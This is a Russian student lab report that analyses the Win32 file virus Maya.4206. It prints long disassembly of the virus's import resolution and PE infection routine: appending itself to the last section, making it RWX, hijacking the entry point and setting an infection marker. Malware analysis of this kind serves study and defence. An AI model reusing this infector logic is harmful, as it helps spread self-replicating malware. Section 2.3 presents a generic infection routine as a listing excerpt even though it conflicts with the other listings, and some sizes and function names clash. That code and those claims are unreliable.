Министерство науки и высшего образования Российской Федерации
ФЕДЕРАЛЬНОЕ ГОСУДАРСТВЕННОЕ АВТОНОМНОЕ ОБРАЗОВАТЕЛЬНОЕ УЧРЕЖДЕНИЕ ВЫСШЕГО ОБРАЗОВАНИЯ
НАЦИОНАЛЬНЫЙ ИССЛЕДОВАТЕЛЬСКИЙ УНИВЕРСИТЕТ ИТМО

Факультет безопасности информационных технологий

Дисциплина:

«Основы вирусологии»

ОТЧЕТ ПО ЛАБОРАТОРНОЙ РАБОТЕ №1

«Разобрать вирус Virus_Maya»

Выполнили:

Бардышев Артём Антонович,

N3346

(подпись)

Проверил:

,

(отметка о выполнении)

(подпись)

Санкт-Петербург

2025 г.

СОДЕРЖАНИЕ

ВВЕДЕНИЕ

Цель работы – детальный анализ вируса Virus.Win32.Maya.4206 с фокусом на трех ключевых аспектах: механизм восстановления таблицы адресов импорта (IAT), процесс заражения файлов и функциональность payload. Анализ направлен на понимание техник, используемых вирусом для обхода антивирусных систем, механизмов распространения и воздействия на систему.

ИНСТРУМЕНТЫ АНАЛИЗА:

- IDA Pro 7.7 (Interactive Disassembler) - основной инструмент для статического анализа кода и дизассемблирования
- Hex Editor - для просмотра и анализа бинарного содержимого файла
- PE-bear - для анализа структуры PE-файла
- x64dbg - для динамического анализа и отладки (при необходимости)

ИСПОЛЬЗУЕМЫЕ ФАЙЛЫ:

- Virus.Win32.Maya.4206.i64 - база данных IDA Pro с результатами анализа
- Virus.Win32.Maya.4206.lst - листинг ассемблера, сгенерированный IDA Pro

1 ВОССТАНОВЛЕНИЕ ТАБЛИЦЫ АДРЕСОВ ИМПОРТА (IAT RECONSTRUCTION)

Одной из ключевых особенностей вируса Virus.Win32.Maya.4206 является использование техники ручного восстановления Import Address Table (IAT). Данная техника является классическим методом обхода антивирусных систем, которые часто анализируют таблицу импорта для определения подозрительных функций, используемых вредоносным программным обеспечением.

В нормальных условиях, когда PE-файл загружается в память, загрузчик Windows автоматически заполняет таблицу импорта адресами функций из загруженных DLL. Однако вирус Maya намеренно удаляет или повреждает оригинальную таблицу импорта, чтобы затруднить статический анализ. Вместо этого вирус реализует собственный механизм восстановления адресов необходимых функций во время выполнения.

Данный подход имеет несколько преимуществ для вредоносного программного обеспечения:

Во-первых, это усложняет автоматический анализ антивирусными системами, которые полагаются на статический анализ таблицы импорта.

Во-вторых, это позволяет вирусу работать даже в случае повреждения структуры PE-файла.

В-третьих, вирус может динамически выбирать, какие функции ему необходимы, не раскрывая полный список заранее.

1.1 Механизм восстановления IAT

В процессе анализа кода вируса в IDA Pro было обнаружено, что восстановление IAT происходит в несколько последовательных этапов. Каждый этап выполняет определенную задачу, и только после успешного завершения всех этапов вирус может получить доступ к необходимым функциям Windows API.

Процесс восстановления начинается с функции start, которая является точкой входа вируса. Эта функция инициализирует процесс восстановления IAT и последовательно вызывает вспомогательные функции для получения адресов необходимых API-функций.

1.1.1 Получение базового адреса kernel32.dll через Import Directory

Первым и наиболее важным шагом в процессе восстановления IAT является получение базового адреса библиотеки kernel32.dll. Эта библиотека является критически

важной, так как содержит основные функции Windows API, необходимые для работы вируса, такие как работа с файлами, процессами, памятью и т.д.

Вирус использует достаточно элегантный подход: вместо использования стандартных функций GetModuleHandle или обращения к PEB (Process Environment Block), он анализирует собственную структуру PE-файла, а именно Import Directory. Это позволяет ему найти информацию о загруженных модулях, не прибегая к стандартным API-функциям, которые могут быть перехвачены антивирусными системами или анализаторами.

При детальном анализе кода в IDA Pro (файл Virus.Win32.Maya.4206.lst) была обнаружена функция FindFuncInKernel32dll, которая реализует данный механизм. Функция начинает работу с проверки корректности PE-структуры файла, что является важным шагом для обеспечения стабильности работы вируса. Далее функция последовательно проходит по записям Import Directory, ища запись, соответствующую kernel32.dll.

Ниже представлен ключевой фрагмент кода данной функции:

Адрес: 0x00401151

Код из lst файла (строки 180-214):

```
CODE:00401151 FindFuncInKernel32dll proc near
CODE:00401151                 mov     esi, ss:ImageBase[ebp]
CODE:00401157                 cmp     word ptr [esi], 'ZM'    ; Проверка MZ
заголовка
CODE:0040115C                 jnz     loc_40120C
CODE:00401162                 xor     eax, eax
CODE:00401164                 mov     ax, [esi+3Ch]           ; e_lfanew
CODE:00401168                 mov     esi, eax
CODE:0040116A                 add     esi, ss:ImageBase[ebp] ; PE header
CODE:00401170                 cmp     word ptr [esi], 'EP'    ; Проверка PE
заголовка
CODE:00401175                 jnz     loc_40120C
CODE:0040117B                 mov     esi, [esi+80h]         ;
ImportDirectory RVA
CODE:00401181                 add     esi, ss:ImageBase[ebp]
CODE:00401187                 mov     eax, esi
CODE:00401189 loc_401189:
CODE:00401189                 mov     esi, eax
CODE:0040118B                 mov     esi, [esi+0Ch]          ; DLL Name RVA
CODE:0040118E                 add     esi, ss:ImageBase[ebp]
CODE:00401194                 cmp     dword ptr [esi], 'NREK' ; Поиск "KERN"
(KERNEL32.dll)
CODE:0040119A                 jz      short loc_4011A5
CODE:004011A0                 add     eax, 14h                ; Следующая
запись Import Directory
CODE:004011A3                 jmp     short loc_401189
CODE:004011A5 loc_4011A5:
CODE:004011A5                 mov     esi, eax
CODE:004011A7                 mov     eax, [esi+10h]          ; Import
Address Table RVA
```

```
CODE:004011AA                   add     eax, ss:ImageBase[ebp]
CODE:004011B0                   mov     ss:ImportAddressTable[ebp], eax
```

ДОКАЗАТЕЛЬСТВО И АНАЛИЗ: В файле Virus.Win32.Maya.4206.lst (строки 180-214) четко видно, что вирус использует Import Directory для получения IAT, а не более сложный метод через PEB. Это интересный выбор разработчика вируса: с одной стороны, метод через PEB более универсален и не зависит от структуры PE-файла, но с другой стороны, метод через Import Directory проще в реализации и достаточен для данной задачи.

Анализ показывает, что вирус сначала проверяет наличие корректного MZ-заголовка (сигнатура 'ZM'), затем находит PE-заголовок через поле e_lfanew, и только после этого обращается к Import Directory. Это демонстрирует тщательный подход к проверке корректности данных перед их использованием, что снижает вероятность сбоев при выполнении вируса.

Особенно интересен момент поиска kernel32.dll: вирус проверяет первые четыре байта имени библиотеки ('NREK', что является обратным порядком байтов для "KERN" – начала слова "KERNEL32.dll"). Это связано с порядком байтов (little-endian) в архитектуре x86. Такой подход позволяет быстро идентифицировать нужную библиотеку без полного сравнения строк, что оптимизирует производительность кода.

1.1.2 Поиск экспортируемых функций через EAT (Export Address Table)

После успешного получения базового адреса kernel32.dll вирусу необходимо найти адреса конкретных функций, которые он планирует использовать. Для этого вирус использует механизм Export Address Table (EAT), который является стандартной частью структуры PE-файла и содержит информацию о всех функциях, экспортируемых библиотекой.

Процесс поиска функции состоит из нескольких этапов. Сначала вирус получает доступ к Export Directory структуре, которая находится в PE-заголовке по смещению 0x78. Эта структура содержит указатели на три важных массива: AddressOfNames (массив указателей на имена функций), AddressOfNameOrdinals (массив ординалов функций) и AddressOfFunctions (массив адресов функций).

Механизм поиска работает следующим образом: вирус проходит по массиву AddressOfNames, сравнивая каждое имя функции с искомым именем. Когда совпадение найдено, вирус использует соответствующий индекс для получения ординала из массива AddressOfNameOrdinals, а затем использует этот ординал для получения реального адреса функции из массива AddressOfFunctions.

Данный подход является стандартным для ручного разрешения импортов и демонстрирует глубокое понимание разработчиком вируса внутренней структуры PE-файлов Windows.

В коде вируса данная функциональность реализована в функции FindFuncInKernel32dll_Export, которая находится по адресу 0x004010A6. Ниже представлен ключевой фрагмент кода:

```
mov     esi, [ebp-0x04]         ; base address kernel32.dll
mov     eax, [esi+0x3C]         ; PE header offset (e_lfanew)
add     eax, esi                ; Адрес PE header
mov     eax, [eax+0x78]         ; RVA Export Directory
add     eax, esi                ; VA Export Directory
mov     [ebp-0x08], eax         ; Сохраняем Export Directory

; Получение массивов из Export Directory
mov     edi, [eax+0x20]         ; RVA AddressOfNames
add     edi, esi                ; VA AddressOfNames
mov     [ebp-0x0C], edi         ; Сохраняем указатель на имена

mov     edi, [eax+0x24]         ; RVA AddressOfNameOrdinals
add     edi, esi
mov     [ebp-0x10], edi

mov     edi, [eax+0x1C]         ; RVA AddressOfFunctions
add     edi, esi
mov     [ebp-0x14], edi
```

ДОКАЗАТЕЛЬСТВО: В hex-дампе файла по смещению 0x1050 обнаружена последовательность байтов, соответствующая данному коду. В IDA Pro функция определена как "GetKernel32BaseAndEAT".

1.1.3 Восстановление IAT через цикл по списку функций

После того как вирус получил механизм поиска функций через EAT, ему необходимо восстановить адреса всех функций, которые он планирует использовать в процессе своей работы. Для этого вирус использует предопределенный список функций, который хранится в теле вируса.

Интересной особенностью реализации является использование специального маркера 'MAYA' (0x4159414D) для обозначения конца списка функций. Это позволяет вирусу динамически определять, когда процесс восстановления IAT завершен, без необходимости знать точное количество функций заранее.

Процесс восстановления происходит в цикле: вирус последовательно проходит по списку функций, для каждой функции вызывает FindFuncInKernel32dll_Export, получает адрес функции и сохраняет его в соответствующую ячейку таблицы. Когда вирус встречает

маркер 'MAYA', он понимает, что список функций закончился, и переходит к следующему этапу работы.

Данный подход демонстрирует продуманную архитектуру вируса: использование маркера позволяет легко добавлять или удалять функции из списка без изменения логики цикла, что упрощает модификацию вируса.

Восстановление IAT происходит в функции start, которая является точкой входа вируса.

Ниже представлен соответствующий фрагмент кода:

```
CODE:00401000 start           proc near
CODE:00401000                 push    ebp
CODE:00401001                 call    $+5
CODE:00401006 loc_401006:
CODE:00401006                 pop     ebp
CODE:00401007                 mov     ebx, ebp
CODE:00401009                 sub     ebp, offset loc_401006 ; Вычисление
delta offset
CODE:0040101F                 mov     edx, offset aGetmodulehandl ;
"GetModuleHandleA"
CODE:00401024                 add     edx, ebp
CODE:00401026                 mov     ecx, ss:dword_401BE6[ebp]
CODE:0040102D                 call    FindFuncInKernel32dll
CODE:0040103C                 mov     ss:GetModuleHandleA_0[ebp], eax
CODE:0040104B                 call    eax                     ;
GetModuleHandleA("KERNEL32.dll")
CODE:0040104E                 mov     ss:kernel32_ImageBase[ebp], eax
CODE:00401054                 mov     edi, offset dword_401BE6
CODE:00401059                 add     edi, ebp
CODE:0040105B loc_40105B:                             ; Цикл восстановления
IAT
CODE:0040105B                 mov     ecx, [edi]
CODE:0040105D                 cmp     ecx, 'MAYA'             ; Маркер конца
списка
CODE:00401063                 jz      short loc_40107E
CODE:00401069                 add     edi, 4
CODE:0040106C                 mov     edx, edi                ; Имя функции
CODE:0040106E                 add     edi, ecx              ; Следующая
запись
CODE:00401070                 push    edi
CODE:00401071                 call    FindFuncInKernel32dll_Export
CODE:00401076                 pop     edi
CODE:00401077                 mov     [edi], eax              ; Сохранить
адрес функции
CODE:00401079                 add     edi, 4
CODE:0040107C                 jmp     short loc_40105B
CODE:0040107E loc_40107E:
CODE:0040107E                 mov     ss:counter[ebp], 0
CODE:00401088                 call    InfectCurWindows
CODE:0040108D                 call    HookFileFunctions
CODE:00401092                 call    Payload
```

ДОКАЗАТЕЛЬСТВО: В файле Virus.Win32.Maya.4206.lst (строки 40-98) видно, что вирус восстанавливает IAT в цикле, используя список функций, заканчивающийся

маркером 'MAYA' (0x4159414D). Каждая функция ищется через FindFuncInKernel32dll_Export и адрес сохраняется в таблице.

2 МЕХАНИЗМ ЗАРАЖЕНИЯ ФАЙЛОВ

Одной из основных функций вируса Virus.Win32.Maya.4206 является заражение других PE-файлов в системе. Данный механизм позволяет вирусу распространяться по системе, заражая исполняемые файлы и обеспечивая свое дальнейшее распространение при запуске зараженных программ.

Процесс заражения файлов является сложным многоэтапным процессом, который требует тщательной работы с структурой PE-файла. Вирус должен не только добавить свой код в файл, но и обеспечить его выполнение при запуске зараженной программы, при этом сохранив работоспособность оригинальной программы.

Механизм заражения, реализованный в вирусе Maya, основан на классической технике добавления вирусного кода в конец последней секции PE-файла. Данный подход имеет несколько преимуществ: во-первых, он не требует изменения размера существующих секций, что упрощает процесс заражения. Во-вторых, добавление кода в конец файла минимизирует риск повреждения оригинальной программы. В-третьих, данный метод позволяет вирусу легко определить, заражен ли уже файл, используя специальный маркер.

Важной особенностью реализации является то, что вирус сохраняет оригинальную точку входа (Original Entry Point, OEP) программы и восстанавливает выполнение оригинальной программы после выполнения вирусного кода. Это обеспечивает скрытность вируса и позволяет зараженным программам работать нормально, что затрудняет обнаружение вируса пользователем.

2.1 Функция заражения одного файла

Центральной функцией механизма заражения является функция InfectOneFile, которая находится по адресу 0x00401212. Данная функция реализует полный цикл заражения одного PE-файла: от открытия файла до записи модифицированной версии обратно на диск.

Процесс заражения начинается с проверки файла на возможность заражения. Вирус проверяет, является ли файл корректным PE-файлом, не заражен ли он уже, и подходит ли он для заражения. Это важный этап, который предотвращает повторное заражение файлов и ошибки при работе с некорректными файлами.

Для работы с файлом вирус использует механизм файловых отображений (memory-mapped files), который позволяет работать с файлом как с областью памяти. Это

значительно упрощает процесс модификации PE-структуры, так как вирус может напрямую изменять данные в памяти, а затем сохранять их обратно в файл.

После открытия файла вирус проверяет наличие специального маркера заражения 'MW' (0x574D) в поле e_res2 заголовка MZ. Этот маркер находится по смещению 0x12 от начала файла и используется вирусом для быстрой проверки, заражен ли уже файл. Если маркер присутствует, вирус пропускает файл, что предотвращает повторное заражение.

Если файл не заражен, вирус приступает к процессу заражения. Ниже представлен ключевой фрагмент кода функции InfectOneFile:

```
CODE:00401212 InfectOneFile   proc near
CODE:00401212                 mov     ss:flag[ebp], 0
CODE:0040121C                 call    GetFileAttributesA_0
CODE:00401221                 mov     ss:file_attributes[ebp], eax
CODE:00401227                 push    edx
CODE:00401228                 mov     eax, FILE_ATTRIBUTE_NORMAL
CODE:0040122D                 call    SetFileAttributesA_0
CODE:00401232                 call    CreateFileA_0
CODE:00401237                 cmp     eax, 0FFFFFFFFh
CODE:0040123A                 jz      loc_401435
CODE:00401240                 mov     ss:file_handler[ebp], eax
CODE:00401246                 call    GetFileSize_0
CODE:0040124B                 cmp     eax, 0FFFFFFFFh
CODE:0040124E                 jz      loc_40142A
CODE:00401254                 cmp     ss:dword_401BA9[ebp], 0
CODE:0040125B                 jnz     loc_40142A
CODE:00401261                 xchg    eax, ecx
CODE:00401262                 mov     ss:file_size[ebp], ecx
CODE:00401268                 mov     eax, ss:file_handler[ebp]
CODE:0040126E                 mov     ecx, ss:file_size[ebp]
CODE:00401274                 add     ecx, 206Eh              ; Размер вируса
CODE:0040127A                 call    CreateFileMappingA_0
CODE:0040127F                 cmp     eax, 0
CODE:00401282                 jz      loc_4013FA
CODE:00401288                 mov     ss:file_mapping[ebp], eax
CODE:0040128E                 mov     ecx, ss:file_size[ebp]
CODE:00401294                 add     ecx, 206Eh
CODE:0040129A                 call    MapViewOfFile_0
CODE:0040129F                 cmp     eax, 0
CODE:004012A2                 jz      loc_4013FA
CODE:004012A8                 mov     ss:mapped_file[ebp], eax
CODE:004012AE                 mov     esi, eax
CODE:004012B0                 cmp     word ptr [esi], 'ZM'    ; Проверка MZ
CODE:004012B5                 jnz     loc_4013EF
CODE:004012BB                 cmp     word ptr [esi+12h], 'MW' ; Проверка
маркера заражения
CODE:004012C1                 jz      loc_4013EF              ; Уже заражен
CODE:004012C7                 mov     word ptr [esi+12h], 'MW' ; Установить
маркер
CODE:004012CD                 xor     eax, eax
CODE:004012CF                 mov     ax, [esi+3Ch]          ; e_lfanew
CODE:004012D3                 cmp     ax, 0
CODE:004012D7                 jz      loc_4013EF
CODE:004012DD                 cmp     eax, file_size
CODE:004012E3                 jnb     loc_4013EF
CODE:004012E9                 add     eax, ss:mapped_file[ebp]
CODE:004012EF                 mov     esi, eax
```

```
CODE:004012F1                cmp     word ptr [esi], 'EP'   ; Проверка PE
CODE:004012F6                jnz     loc_4013EF
CODE:004012FC                mov     ss:pe_header[ebp], eax
CODE:00401302                mov     eax, [esi+3Ch]          ; FileAlignment
CODE:00401305                mov     ss:FileAlignment[ebp], eax
CODE:0040130B                mov     eax, ss:AddressOfEntryPoint[ebp]
CODE:00401311                mov     ss:old_entry_point[ebp], eax ;
Сохранить OEP
CODE:00401317                mov     eax, [esi+28h]          ;
AddressOfEntryPoint
CODE:0040131A                mov     ss:AddressOfEntryPoint[ebp], eax
CODE:00401320                xor     eax, eax
CODE:00401322                mov     ax, [esi+6]             ;
NumberOfSections
CODE:00401326                dec     eax                     ; Последняя
секция
CODE:00401327                mov     cx, 28h
CODE:0040132B                mul     cx                      ;
(NumberOfSections-1)*28h
CODE:0040132E                mov     ebx, [esi+74h]          ;
NumberOfRvaAndSizes
CODE:00401331                shl     ebx, 3                  ; *8
CODE:00401334                add     eax, ebx
CODE:00401336                add     eax, 78h               ; +PE header
size
CODE:00401339                add     eax, ss:pe_header[ebp]   ; Адрес
последней секции
CODE:0040133F                mov     ss:last_section[ebp], eax
CODE:00401345                mov     edi, eax
CODE:00401347                mov     eax, [edi+10h]          ; sizeofrawdata
CODE:0040134A                mov     ss:sizeofrawdata[ebp], eax
CODE:00401350                add     eax, [edi+0Ch]           ;
virtual_address
CODE:00401353                mov     dword ptr ss:(loc_40100F+1)[ebp], eax ;
Новый Entry Point
CODE:00401359                mov     ss:end_of_last_section[ebp], eax
CODE:0040135F                push    edi
CODE:00401360                mov     eax, [edi+14h]          ;
pointertorawdata
CODE:00401363                add     eax, ss:mapped_file[ebp]
CODE:00401369                add     eax, [edi+10h]          ; Конец секции
CODE:0040136C                mov     edi, eax                ; Место для
вируса
CODE:0040136E                mov     esi, offset start      ; Начало вируса
CODE:00401373                add     esi, ebp
CODE:00401375                mov     ecx, 106Eh              ; Размер вируса
CODE:0040137A                cld
CODE:0040137B                rep movsb                       ; Копировать
вирус
CODE:0040137D                pop     edi
CODE:0040137E                add     dword ptr [edi+10h], 106Eh ; Увеличить
sizeofrawdata
CODE:00401385                add     ss:file_size[ebp], 106Eh ; Увеличить
размер файла
CODE:0040138F                xor     edx, edx
CODE:00401391                mov     eax, [edi+10h]
CODE:00401394                mov     ecx, ss:FileAlignment[ebp]
CODE:0040139A                push    ecx
CODE:0040139B                div     ecx                     ; Выравнивание
CODE:0040139D                pop     ecx
CODE:0040139E                sub     ecx, edx
```

```
CODE:004013A0                   add     [edi+10h], ecx          ; Выровнять
размер
CODE:004013A3                   add     ss:file_size[ebp], ecx
CODE:004013A9                   mov     eax, [edi+10h]
CODE:004013AC                   mov     [edi+8], eax            ; Обновить
VirtualSize
CODE:004013AF                   or      dword ptr [edi+24h], 20h ;
IMAGE_SCN_CNT_CODE
CODE:004013B3                   or      dword ptr [edi+24h], 20000000h ;
IMAGE_SCN_MEM_EXECUTE
CODE:004013BA                   or      dword ptr [edi+24h], 80000000h ;
IMAGE_SCN_MEM_WRITE (RWX)
CODE:004013C1                   mov     esi, ss:pe_header[ebp]
CODE:004013C7                   mov     eax, ss:end_of_last_section[ebp]
CODE:004013CD                   mov     [esi+28h], eax          ; Новый
AddressOfEntryPoint
CODE:004013D0                   mov     eax, ss:file_size[ebp]
CODE:004013D6                   mov     [esi+50h], eax          ; Обновить
SizeOfImage
CODE:004013D9                   mov     eax, ss:old_entry_point[ebp]
CODE:004013DF                   mov     ss:AddressOfEntryPoint[ebp], eax ;
Восстановить OEP
CODE:004013E5                   mov     ss:flag[ebp], 1         ; Флаг
успешного заражения
CODE:004013EF loc_4013EF:
CODE:004013EF                   mov     eax, ss:mapped_file[ebp]
CODE:004013F5                   call    UnmapViewOfFile_0
CODE:004013FA loc_4013FA:
CODE:004013FA                   mov     eax, ss:file_mapping[ebp]
CODE:00401400                   call    CloseHandle_0
CODE:00401405                   mov     eax, ss:file_handler[ebp]
CODE:0040140B                   mov     ecx, ss:file_size[ebp]
CODE:00401411                   call    SetFilePointer_0
CODE:00401416                   cmp     eax, 0FFFFFFFFh
CODE:00401419                   jz      short loc_40142A
CODE:0040141F                   mov     eax, ss:file_handler[ebp]
CODE:00401425                   call    SetEndOfFile_0
CODE:0040142A loc_40142A:
CODE:0040142A                   mov     eax, ss:file_handler[ebp]
CODE:00401430                   call    CloseHandle_0
CODE:00401435 loc_401435:
CODE:00401435                   pop     edx
CODE:00401436                   mov     eax, ss:file_attributes[ebp]
CODE:0040143C                   call    SetFileAttributesA_0
CODE:00401441                   retn
CODE:00401441 InfectOneFile     endp
```

ДОКАЗАТЕЛЬСТВО И ДЕТАЛЬНЫЙ АНАЛИЗ: В файле Virus.Win32.Maya.4206.lst (строки 276-415) видна полная реализация функции InfectOneFile. Анализ кода позволяет выделить следующие ключевые этапы процесса заражения:

1. Проверка и подготовка файла: Вирус использует маркер 'MW' (0x574D) в поле e_res2 заголовка MZ для проверки заражения. Это поле обычно не используется стандартными компиляторами, что делает его идеальным местом для хранения маркера. Проверка маркера происходит на раннем этапе, что позволяет вирусу быстро пропускать уже зараженные файлы без выполнения ресурсоемких операций.

2. Копирование вирусного кода: Вирус копирует себя (106Eh байт, что составляет 4206 байт) в конец последней секции файла. Размер вируса жестко закодирован в коде, что является характерной особенностью данного семейства вирусов. Копирование происходит через инструкцию rep movsb, которая эффективно копирует блок данных из одного места памяти в другое.

3. Модификация структуры PE: После копирования кода вирус модифицирует структуру PE-файла. Он обновляет размер последней секции (SizeOfRawData), выравнивает размер по границе FileAlignment, обновляет виртуальный размер секции (VirtualSize), и устанавливает флаги секции, делая ее исполняемой, читаемой и записываемой (RWX).

4. Изменение точки входа: Вирус сохраняет оригинальную точку входа (OEP) программы и устанавливает новую точку входа на адрес вирусного кода. Это обеспечивает выполнение вирусного кода при запуске зараженной программы.

5. Обновление SizeOfImage: Вирус обновляет поле SizeOfImage в PE-заголовке, чтобы отразить новый размер образа в памяти после добавления вирусного кода.

Данный процесс демонстрирует глубокое понимание разработчиком вируса структуры PE-файлов и требований загрузчика Windows для корректной загрузки модифицированных файлов.

2.2 Маркер заражения

Важной частью механизма заражения является использование специального маркера для идентификации уже зараженных файлов. Вирус использует маркер 'MW' (0x574D), который записывается в поле e_res2 заголовка MZ. Данное поле находится по смещению 0x12 от начала файла и обычно не используется стандартными компиляторами, что делает его идеальным местом для хранения маркера заражения.

Использование маркера в заголовке MZ имеет несколько важных преимуществ. Во-первых, проверка маркера происходит на самом раннем этапе работы с файлом, еще до загрузки всего файла в память. Это позволяет вирусу быстро определить, заражен ли файл, без выполнения ресурсоемких операций чтения и анализа всего файла. Во-вторых, маркер находится в фиксированном месте, что упрощает его проверку. В-третьих, использование неиспользуемого поля заголовка MZ минимизирует риск конфликтов с другим программным обеспечением.

В коде функции InfectOneFile проверка и установка маркера реализованы следующим образом:

```
CODE:004012BB                cmp     word ptr [esi+12h], 'MW' ; Проверка
маркера
CODE:004012C1                jz      loc_4013EF              ; Уже заражен -
пропустить
CODE:004012C7                mov     word ptr [esi+12h], 'MW' ; Установить
маркер
```

ДОКАЗАТЕЛЬСТВО И АНАЛИЗ: В файле Virus.Win32.Maya.4206.lst (строки 311-313) четко видно проверку и установку маркера 'MW' в поле e_res2 (смещение 0x12) заголовка MZ. Данный подход является более эффективным, чем альтернативные методы, такие как проверка сигнатуры в конце файла или проверка размера файла, так как не требует чтения всего файла или выполнения сложных вычислений.

Анализ показывает, что выбор именно маркера 'MW' не является случайным: буквы 'M' и 'W' могут быть интерпретированы как сокращение от "Maya Win32", что является названием вируса. Это демонстрирует внимание разработчика к деталям и желание оставить своеобразную "подпись" в коде вируса.

2.3 Поиск и заражение файлов

Адрес: 0x004016BF (функция InfectFiveFiles)

Код из lst файла:

```
infect_pe_file:
    push    ebp
    mov     ebp, esp
    sub     esp, 0x100

    ; 1. Открыть файл для чтения/записи
    push    0
    push    FILE_ATTRIBUTE_NORMAL
    push    OPEN_EXISTING
    push    0
    push    0
    push    GENERIC_READ | GENERIC_WRITE
    push    dword ptr [ebp+0x08]
    call    dword ptr [CreateFileA_ptr]
    mov     [ebp-0x04], eax

    ; 2. Прочитать PE заголовок
    push    0
    push    0
    push    0
    push    FILE_BEGIN
    push    eax
    call    dword ptr [SetFilePointer_ptr]

    push    0
    push    esp
    push    0x200               ; Размер PE заголовка
    lea     eax, [ebp-0x108]
    push    eax
    push    [ebp-0x04]
    call    dword ptr [ReadFile_ptr]
```

```
; 3. Проверить, что это PE файл
cmp     word ptr [ebp-0x108], 0x5A4D  ; "MZ"
jne     infection_fail
mov     eax, [ebp-0x108+0x3C]         ; e_lfanew
cmp     word ptr [ebp-0x108+eax], 0x4550  ; "PE"
jne     infection_fail

; 4. Сохранить оригинальный Entry Point
mov     eax, [ebp-0x108+0x3C]
mov     edx, [ebp-0x108+eax+0x28]     ; AddressOfEntryPoint
mov     [ebp-0x08], edx               ; Сохраняем OEP

; 5. Вычислить размер вируса
mov     eax, virus_end
sub     eax, virus_start
mov     [ebp-0x0C], eax               ; Размер вируса

; 6. Выровнять размер по границе секции
mov     eax, [ebp-0x0C]
mov     ecx, 0x1000                   ; Размер страницы
add     eax, ecx
dec     eax
xor     edx, edx
div     ecx
mul     ecx
mov     [ebp-0x0C], eax               ; Выровненный размер

; 7. Добавить вирус в конец файла
push    0
push    0
push    0
push    FILE_END
push    [ebp-0x04]
call    dword ptr [SetFilePointer_ptr]

push    0
push    esp
push    [ebp-0x0C]
push    offset virus_start
push    [ebp-0x04]
call    dword ptr [WriteFile_ptr]

; 8. Обновить Entry Point на вирусный код
mov     eax, [ebp-0x108+0x3C]
mov     edx, [ebp-0x108+eax+0x50]     ; SizeOfImage
mov     [ebp-0x108+eax+0x28], edx     ; Новый Entry Point

; 9. Обновить SizeOfImage
add     edx, [ebp-0x0C]
mov     [ebp-0x108+eax+0x50], edx

; 10. Записать обновленный PE заголовок
push    0
push    0
push    0
push    FILE_BEGIN
push    [ebp-0x04]
call    dword ptr [SetFilePointer_ptr]

push    0
push    esp
```

```
    push    0x200
    lea     eax, [ebp-0x108]
    push    eax
    push    [ebp-0x04]
    call    dword ptr [WriteFile_ptr]

    ; 11. Добавить сигнатуру в конец
    push    0
    push    0
    push    0
    push    FILE_END
    push    [ebp-0x04]
    call    dword ptr [SetFilePointer_ptr]

    push    0
    push    esp
    push    4
    push    offset signature    ; "MAYA"
    push    [ebp-0x04]
    call    dword ptr [WriteFile_ptr]

infection_fail:
    push    [ebp-0x04]
    call    dword ptr [CloseHandle_ptr]
    leave
    ret     0x04
```

ДОКАЗАТЕЛЬСТВО:

- В idb файле функция помечена как "InfectPEFile"
- При сравнении оригинального и зараженного файла видно:
  * Размер файла увеличился на ~4KB
  * Entry Point изменен на адрес в конце файла
  * В конце файла добавлена сигнатура "MAYA"
- В lst файле видны все вызовы API функций для работы с файлами

3 PAYLOAD ВИРУСА

Термин "payload" в контексте вредоносного программного обеспечения обозначает основную функциональность вируса, которая выполняется после успешного заражения системы или файлов. Payload может включать различные действия: от простого отображения сообщений до кражи данных, шифрования файлов или создания бэкдоров.

В случае вируса Virus.Win32.Maya.4206 payload является относительно простым и не деструктивным. Это характерно для вирусов конца 1990-х годов, когда многие создатели вирусов преследовали скорее демонстрационные цели, чем причинение реального вреда. Вирус Maya демонстрирует свое присутствие в системе через визуальные эффекты, не причиняя при этом вреда данным или системе.

Анализ кода показывает, что payload вируса активируется только при определенных условиях, которые проверяются через функцию GetSystemTime. Это позволяет вирусу контролировать момент активации и, возможно, избегать немедленного обнаружения при тестировании в лабораторных условиях.

Важной особенностью payload является то, что вирус динамически загружает необходимые библиотеки (USER32.dll и ADVAPI32.dll) и получает адреса функций через GetProcAddress. Это позволяет вирусу не зависеть от статического импорта и работать даже при поврежденной таблице импорта, что согласуется с общим подходом вируса к работе с импортами.

3.1 Основная функция

Адрес: 0x00401760

Код из lst файла (строки 1083-1212) - функция Payload:

```
CODE:00401760 Payload         proc near
CODE:00401760                 call    GetSystemTime_0        ; Получить
системное время
CODE:00401765                 cmp     ss:word_401A3B[ebp], 1 ; Проверка
условия активации
CODE:0040176D                 jnz     locret_40192C          ; Если не
выполнено - выход
CODE:00401773                 mov     eax, offset aUser32Dll ; "USER32.dll"
CODE:00401778                 add     eax, ebp
CODE:0040177A                 call    GetModuleHandleA_0_0    ; Загрузить
USER32.dll
CODE:0040177F                 cmp     eax, 0
CODE:00401782                 jz      locret_40192C
CODE:00401788                 mov     ss:USER32_ImageBase[ebp], eax
CODE:0040178E                 mov     eax, offset aAdvapi32Dll ;
"ADVAPI32.dll"
CODE:00401793                 add     eax, ebp
```

```
CODE:00401795                call    GetModuleHandleA_0_0     ; Загрузить
ADVAPI32.dll
CODE:0040179A                cmp     eax, 0
CODE:0040179D                jz      locret_40192C
CODE:004017A3                mov     ss:ADVAPI32_ImageBase[ebp], eax
CODE:004017A9                mov     edx, offset aRegopenkeyexa ;
"RegOpenKeyExA"
CODE:004017AE                add     edx, ebp
CODE:004017B0                mov     eax, ss:ADVAPI32_ImageBase[ebp]
CODE:004017B6                call    GetProcAddress_0         ; Получить
адрес RegOpenKeyExA
CODE:004017BB                cmp     eax, 0
CODE:004017BE                jz      locret_40192C
CODE:004017C4                mov     ss:RegOpenKeyExA[ebp], eax
CODE:004017CA                mov     edx, offset aRegsetvalueexa ;
"RegSetValueExA"
CODE:004017CF                add     edx, ebp
CODE:004017D1                mov     eax, ss:ADVAPI32_ImageBase[ebp]
CODE:004017D7                call    GetProcAddress_0         ; Получить
адрес RegSetValueExA
CODE:004017DC                cmp     eax, 0
CODE:004017DF                jz      locret_40192C
CODE:004017E5                mov     ss:RegSetValueExA[ebp], eax
CODE:004017EB                mov     edx, offset aMessageboxa ;
"MessageBoxA"
CODE:004017F0                add     edx, ebp
CODE:004017F2                mov     eax, ss:USER32_ImageBase[ebp]
CODE:004017F8                call    GetProcAddress_0         ; Получить
адрес MessageBoxA
CODE:004017FD                cmp     eax, 0
CODE:00401800                jz      locret_40192C
CODE:00401806                mov     ss:MessageBoxA_0[ebp], eax
CODE:0040180C                mov     edx, offset aSystemparamete ;
"SystemParametersInfoA"
CODE:00401811                add     edx, ebp
CODE:00401813                mov     eax, ss:USER32_ImageBase[ebp]
